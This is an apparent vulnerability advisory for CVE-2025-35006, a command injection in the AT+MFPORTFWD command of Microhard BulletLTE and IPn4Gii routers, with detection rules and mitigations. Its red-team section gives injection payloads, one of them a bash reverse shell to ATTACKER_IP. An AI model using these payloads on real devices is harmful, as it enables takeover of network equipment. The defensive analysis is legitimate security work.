CVE-2025-35006

Executive Summary

CVE-2025-35006 is a post-authentication command injection vulnerability affecting Microhard BulletLTE-NA2 and IPn4Gii-NA2 products. The flaw resides in the AT+MFPORTFWD command, where argument delimiters are not properly neutralized, allowing an authenticated attacker to inject arbitrary commands. This can lead to privilege escalation, enabling full system compromise. The vulnerability is classified under CWE-88 (Argument Injection) and carries a CVSS score of 7.1 (High). At the time of this report, no official patch has been released, and no public proof-of-concept code is available.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
• Attack Vector: Local (requires authenticated access to the device)
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None

The threat level is elevated due to the low complexity and the potential for privilege escalation, which can lead to full device takeover. However, the requirement for prior authentication reduces the immediate remote exploitability.

Deep Dive & Mechanics

The vulnerability is an argument injection in the AT command handler for AT+MFPORTFWD. This command is used to manage port forwarding rules on the device. The input parameters are not properly sanitized, allowing an attacker to inject additional commands or arguments by using delimiters such as spaces, semicolons, or newlines. Because the command runs with elevated privileges (likely root), successful exploitation results in privilege escalation.

The core issue is that the firmware does not validate or escape special characters in the arguments passed to the AT command. An attacker can craft a payload like AT+MFPORTFWD=1,2,3;reboot to execute arbitrary system commands. The injection occurs because the argument parser treats the semicolon as a command separator rather than part of the argument value.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix would involve proper input validation and escaping. Below is a comparison of vulnerable and patched pseudocode.

Vulnerable Code (C-like pseudocode):

void handle_mfportfwd(char *args) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iptables -A FORWARD -p tcp --dport %s -j ACCEPT", args);
    system(cmd);
}

Patched Code (C-like pseudocode):

void handle_mfportfwd(char *args) {
    // Validate input: only allow digits, commas, and dots
    if (!is_valid_port_rule(args)) {
        return error("Invalid input");
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iptables -A FORWARD -p tcp --dport %s -j ACCEPT", args);
    system(cmd);
}

The patched version adds an input validation function that rejects any characters not in the allowed set, preventing injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Authenticated access to the device (e.g., via SSH or serial console).
• Knowledge of the AT command interface.

Exploitation Steps:

1. Connect to the device and authenticate.
2. Send a crafted AT command with injected payload:

   AT+MFPORTFWD=1,2,3;id > /tmp/exploit.txt
   

3. Verify execution by checking the output file or observing system behavior.
4. Escalate privileges by injecting commands that modify system files or spawn a reverse shell.

Example Payload for Reverse Shell:

AT+MFPORTFWD=1,2,3;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

Blue Team

Detection Steps:

• Monitor AT command logs for unusual arguments containing shell metacharacters (;, |, &, $, etc.).
• Implement strict input validation on all AT command handlers.
• Use host-based intrusion detection to alert on unexpected command execution from the AT command process.

Honeypot Setup:

• Deploy a decoy Microhard device with logging enabled to capture exploitation attempts.
• Analyze logs for patterns of argument injection.

Indicators of Compromise (IOCs)

• Network: Unusual outbound connections from the device to unknown IPs (e.g., reverse shell traffic).
• File System: Unexpected files in /tmp or /var/tmp created by injected commands.
• Process: Unusual processes spawned by the AT command handler (e.g., bash, nc, python).
• Logs: AT command logs containing shell metacharacters or unexpected arguments.

Detection Engineering

YARA Rule

rule CVE_2025_35006_Microhard_AT_Command_Injection {
    meta:
        description = "Detects argument injection in AT+MFPORTFWD command"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-35006"
    strings:
        $cmd = "AT+MFPORTFWD="
        $inject1 = /[;|&$`]/
        $inject2 = /\(\)/
    condition:
        $cmd and ($inject1 or $inject2)
}

Sigma Rule

title: Microhard AT Command Injection Attempt
id: 8f4a3b2c-1d5e-4f6a-8b7c-9d0e1f2a3b4c
status: experimental
description: Detects attempts to exploit CVE-2025-35006 via AT command injection
author: Valters IT
logsource:
    product: microhard
    service: at_command_log
detection:
    selection:
        Command: "AT+MFPORTFWD=*"
        Args|contains: 
            - ";"
            - "|"
            - "&"
            - "$"
            - "`"
    condition: selection
falsepositives:
    - Legitimate use of semicolons in port ranges (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-35006 Microhard AT Command Injection"; flow:to_server,established; content:"AT+MFPORTFWD="; pcre:"/[;|&$`]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

• Restrict network access to the device to trusted hosts only.
• Disable the AT command interface if not required.
• Implement strict input validation at the application layer (e.g., using a whitelist of allowed characters).

Long-term Fix:

• Apply firmware updates from Microhard when available.
• Replace affected devices with patched versions if no update is provided.

Workaround:

• Use a reverse proxy or firewall to filter AT commands and block suspicious patterns.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert